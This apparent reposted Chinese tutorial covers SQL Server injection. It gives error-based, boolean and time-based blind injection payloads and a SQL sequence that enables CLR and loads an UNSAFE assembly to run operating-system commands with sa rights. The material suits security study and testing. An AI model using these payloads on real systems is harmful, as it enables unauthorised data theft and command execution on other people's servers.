• 自动秒收录
  • 软件:1974
  • 资讯:4527|
  • 收录网站:301505|

IT精英团

SqlServer基本注入需要知道的知识

SqlServer基本注入需要知道的知识

作者/景文

SqlServer基本注入需要知道的知识

作者/景文

image.png

SqlServer基本注入需要知道的知识:

1、MSSql的系统自带数据库:master

2、在网站中,同一个网站一般不会跨库。

3、syscolumns表保存当前数据库中的所有字段

4、syscolumns表我们需要查询的字段是NAME字段,Name字段保存的是字段名称

5、top关键字:由于MSSql中没有Limit函数,因此我们想要输出限制的数据就要top +数字

6、MSSql中每一个库都有一个系统自带表:sysobjects(这是系统对象表,保存当前数据库的对象)

7、注意sysobjects中的三个字段:NAME、XTYPE、ID

NAME字段是表名信息;

XTYPE字段是表的类型(只有两个参数:S和U;S代表系统表、U代表用户创建表);

ID字段的值用来连接syscolumns表


8、MSSql中常用参数:

@@version:查询当前数据库版本

db_name():查询当前数据库名称

user:查询当前用户

9、 IS_SRVROLEMEMBER():查询数据库权限(严格来讲这是个函数,拆分来记srv即server:服务,role:角色,member:成员)

常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin(这些常用权限是是作为上面的函数的参数出现的)

用法如下:select IS_SRVROLEMEMBER('sysadmin');如果是该权限,则会返回1

10、cast函数,可以把查询的数据转换成字符型,这个可以用于报错注入,用法如下:

cast(count(*) as varchar(255))+char(94)

注意加号要换成url编码:%2b否则会报错

11、len()函数,MSSQL中的判断字符长度的函数

12、substring函数,截断字符串的函数

13、waitfor delay '0:0:5'命令是延时五秒的意思

14、if ascii()语句中,ascii的返回值是条件

报错注入

1、首先要用到之前说的cast函数,我们可以根据cast函数将数据转换成字符类型,这一点进行数据类型的不同进行报错注入,因为它会提醒你‘将某个值转换成类型x的时候转换失败’,我们就可以知晓数据需要的类型

2、我们可以用having 1=1爆出第一个字段名,语句如下:

and (select top 1 * from 表名 having 1=1)>1

会报错:“选择列表中的列’表名.列名1’无效,因为该列没有包含在聚合函数或GROUP BY子句中”

3、用group by 来爆出后面的字段,这是由于group by后面跟的字段数要与select查询的字段数一致

and (select top 1 * from 表名 group by 列名1)=1

会报错:“选择列表中的列’表名.列名2’无效,因为该列没有包含在聚合函数或GROUP BY子句中”

下一条语句:

and (select top 1 * from 表名 group by 列名1,列名2)=1

下面还会报上面的错,不过会是下一个字段了,一直往后直到没有上述报错为止。

布尔盲注

和MySQL的注入方式基本一致,但是函数注意是须知知识中的11、12

时间盲注

1、我们使用if ascii(substring())=x waitfor delay '0:0:5'来判断字符的值,若是前面的条件符合,则等待五秒

2、一条一条的向下寻找后面的字符

SA权限使用CLR 执行系统命令
创建CLR有两种方式:

使用DLL文件进行创建
使用文件16进制流进行创建
启用CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'

--导入程序集
CREATE ASSEMBLY [WarSQLKit] 
AUTHORIZATION [dbo] FROM 十六进制数据 
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

—- 执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘

-- 删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];

exec sp_configure 'show advanced options', 1; RECONFIGURE; Exec sp_configure 'clr enabled', 1; RECONFIGURE; -- 如果存在权限问题,执行下面命令 alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全 EXEC sp_changedbowner 'sa' --导入程序集 CREATE ASSEMBLY [WarSQLKit]    AUTHORIZATION [dbo] FROM 十六进制数据    WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER    AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec; —- 执行命令 EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘ -- 删除程序集 DROP PROCEDURE sp_cmdExec; DROP ASSEMBLY [WarSQLKit];
点击这里复制本文地址 以上内容由IT精英团整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
退出阅读|首页